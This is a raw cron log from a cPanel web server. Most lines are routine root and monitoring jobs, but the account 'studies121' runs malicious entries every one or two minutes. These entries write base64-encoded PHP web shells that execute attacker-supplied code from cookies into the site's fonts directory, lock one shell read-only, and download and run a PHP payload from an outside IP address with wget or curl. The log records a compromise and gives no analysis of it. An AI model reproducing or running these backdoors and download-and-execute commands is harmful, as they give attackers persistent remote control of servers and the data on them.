Sep  9 13:27:01 ip-184-168-122-23 CROND[25222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:27:01 ip-184-168-122-23 CROND[25224]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 13:27:01 ip-184-168-122-23 CROND[25223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:28:01 ip-184-168-122-23 CROND[25388]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 13:28:01 ip-184-168-122-23 CROND[25390]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 13:28:01 ip-184-168-122-23 CROND[25391]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:28:01 ip-184-168-122-23 CROND[25392]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 13:28:01 ip-184-168-122-23 CROND[25393]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:29:01 ip-184-168-122-23 CROND[25478]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 13:29:01 ip-184-168-122-23 CROND[25481]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 13:29:01 ip-184-168-122-23 CROND[25482]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:29:01 ip-184-168-122-23 CROND[25480]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:30:01 ip-184-168-122-23 CROND[25572]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:30:01 ip-184-168-122-23 CROND[25574]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 13:30:01 ip-184-168-122-23 CROND[25578]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 13:30:01 ip-184-168-122-23 CROND[25576]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 13:30:01 ip-184-168-122-23 CROND[25581]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 13:30:01 ip-184-168-122-23 CROND[25575]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:30:01 ip-184-168-122-23 CROND[25580]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 13:30:01 ip-184-168-122-23 CROND[25579]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 13:31:01 ip-184-168-122-23 CROND[25697]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 13:31:01 ip-184-168-122-23 CROND[25699]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:31:01 ip-184-168-122-23 CROND[25700]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 13:31:01 ip-184-168-122-23 CROND[25698]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:31:01 ip-184-168-122-23 CROND[25701]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 13:32:01 ip-184-168-122-23 CROND[25807]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 13:32:01 ip-184-168-122-23 CROND[25809]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:32:01 ip-184-168-122-23 CROND[25812]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:32:01 ip-184-168-122-23 CROND[25811]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 13:32:01 ip-184-168-122-23 CROND[25810]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 13:33:01 ip-184-168-122-23 CROND[25979]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:33:01 ip-184-168-122-23 CROND[25981]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 13:33:01 ip-184-168-122-23 CROND[25980]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 13:33:01 ip-184-168-122-23 CROND[25982]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:34:01 ip-184-168-122-23 CROND[26087]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 13:34:01 ip-184-168-122-23 CROND[26090]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:34:01 ip-184-168-122-23 CROND[26091]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 13:34:01 ip-184-168-122-23 CROND[26092]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:34:01 ip-184-168-122-23 CROND[26089]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 13:35:01 ip-184-168-122-23 CROND[26185]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:35:01 ip-184-168-122-23 CROND[26186]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 13:35:01 ip-184-168-122-23 CROND[26182]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 13:35:01 ip-184-168-122-23 CROND[26183]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 13:35:01 ip-184-168-122-23 CROND[26187]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:35:01 ip-184-168-122-23 CROND[26184]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 13:35:01 ip-184-168-122-23 CROND[26181]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  9 13:35:01 ip-184-168-122-23 CROND[26188]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 13:36:01 ip-184-168-122-23 CROND[26296]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 13:36:01 ip-184-168-122-23 CROND[26300]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 13:36:01 ip-184-168-122-23 CROND[26297]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:36:01 ip-184-168-122-23 CROND[26298]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:36:01 ip-184-168-122-23 CROND[26301]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 13:37:01 ip-184-168-122-23 CROND[26384]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 13:37:01 ip-184-168-122-23 CROND[26385]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 13:37:01 ip-184-168-122-23 CROND[26387]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:37:01 ip-184-168-122-23 CROND[26388]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:38:01 ip-184-168-122-23 CROND[26488]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:38:01 ip-184-168-122-23 CROND[26490]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 13:38:01 ip-184-168-122-23 CROND[26492]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:38:01 ip-184-168-122-23 CROND[26493]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 13:38:01 ip-184-168-122-23 CROND[26491]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 13:39:01 ip-184-168-122-23 CROND[26602]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
